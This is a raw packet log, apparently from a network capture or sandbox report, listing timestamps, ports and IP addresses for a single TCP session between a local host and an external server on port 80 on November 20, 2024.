Nov 20, 2024 07:48:23.467149019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467159986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467166901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467175007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467181921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467199087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467214108 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467221022 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467231035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467247009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467252016 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467262983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467271090 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467278957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467284918 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467293978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467308044 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467320919 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467320919 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467336893 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467351913 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467360973 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467365980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467370987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467381954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467387915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467396975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467406988 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467438936 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467438936 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467463017 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467478037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467493057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467503071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467506886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467514038 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467523098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467529058 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467539072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467566967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467571974 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467595100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467598915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467598915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467617989 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467637062 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467653036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467662096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467669010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467684031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467689037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467700005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467706919 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467715979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467730045 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467744112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467767954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467767954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467767954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467793941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467794895 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467809916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467818022 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467827082 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467839956 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467854023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467871904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467874050 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467879057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467895031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467901945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467901945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467910051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467926979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467932940 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467940092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467953920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467956066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467969894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467974901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.467986107 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.467993021 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468002081 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468012094 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468019009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468025923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468034029 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468049049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468060970 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468060970 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468064070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468079090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468081951 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468094110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468100071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468110085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468125105 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468130112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468138933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468146086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468156099 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468170881 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468175888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468187094 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468194008 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468203068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468205929 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468219995 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468226910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468235016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468251944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468257904 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468257904 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468266964 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468282938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468287945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468287945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468291998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468306065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468341112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468341112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468352079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468369007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468374014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468384027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468401909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468404055 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468417883 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468424082 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468435049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468450069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468457937 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468458891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468467951 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468471050 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468482971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468487978 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468501091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.468502998 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.468807936 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555146933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555196047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555228949 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555253983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555289030 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555289984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555324078 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555336952 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555361986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555398941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555427074 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555430889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555459023 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555466890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555500984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555516005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555537939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555566072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555567026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555597067 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555603981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555634975 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555638075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555669069 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555671930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555711985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555742979 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555744886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555784941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555794001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.555814981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.555870056 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.556003094 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.594882011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.594933033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.594991922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595024109 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595050097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595081091 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595087051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595117092 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595122099 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595150948 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595175028 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595187902 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595207930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595235109 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595242977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595276117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595302105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595308065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595344067 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595366955 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595386982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595402956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595432997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595437050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595463991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595472097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595504999 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595530987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595537901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595570087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595597982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595607042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595642090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595669031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595675945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595710039 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595731974 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595743895 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595769882 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595794916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595803976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.595931053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595993996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.595999956 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596045017 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596075058 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596079111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596112013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596138000 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596163034 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596198082 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596225977 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596227884 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596276045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596306086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596311092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596338987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596366882 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596390963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596441984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596471071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596474886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596508026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596534967 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596559048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596589088 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596592903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596626997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596657038 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596678972 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596712112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596738100 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596744061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596771002 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596795082 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596827984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596857071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596863985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596893072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596895933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596925020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596954107 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596957922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.596987963 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.596993923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597027063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597052097 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597059965 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597089052 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597091913 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597120047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597126007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597158909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597210884 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597214937 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597244024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597245932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597280025 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597299099 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597299099 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597312927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597337961 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597345114 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597378016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597404003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597410917 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597440958 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597445011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597472906 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597481966 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597510099 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597515106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597546101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597557068 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597579956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597606897 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597613096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597640991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597646952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597676039 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597680092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597702026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597713947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597747087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597775936 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597780943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597810984 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597815037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597850084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597876072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597882986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597915888 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597944021 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.597948074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.597981930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598006964 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598011017 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598043919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598072052 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598078012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598109961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598135948 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598146915 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598174095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598198891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598206997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598236084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598239899 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598263025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598270893 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598288059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598306894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598335028 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598335028 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598367929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598387003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598402023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598431110 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598433018 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598457098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598465919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598495007 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598500967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598531008 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598534107 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598560095 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598566055 CET	80	49753	62.204.41.163	192.168.2.4
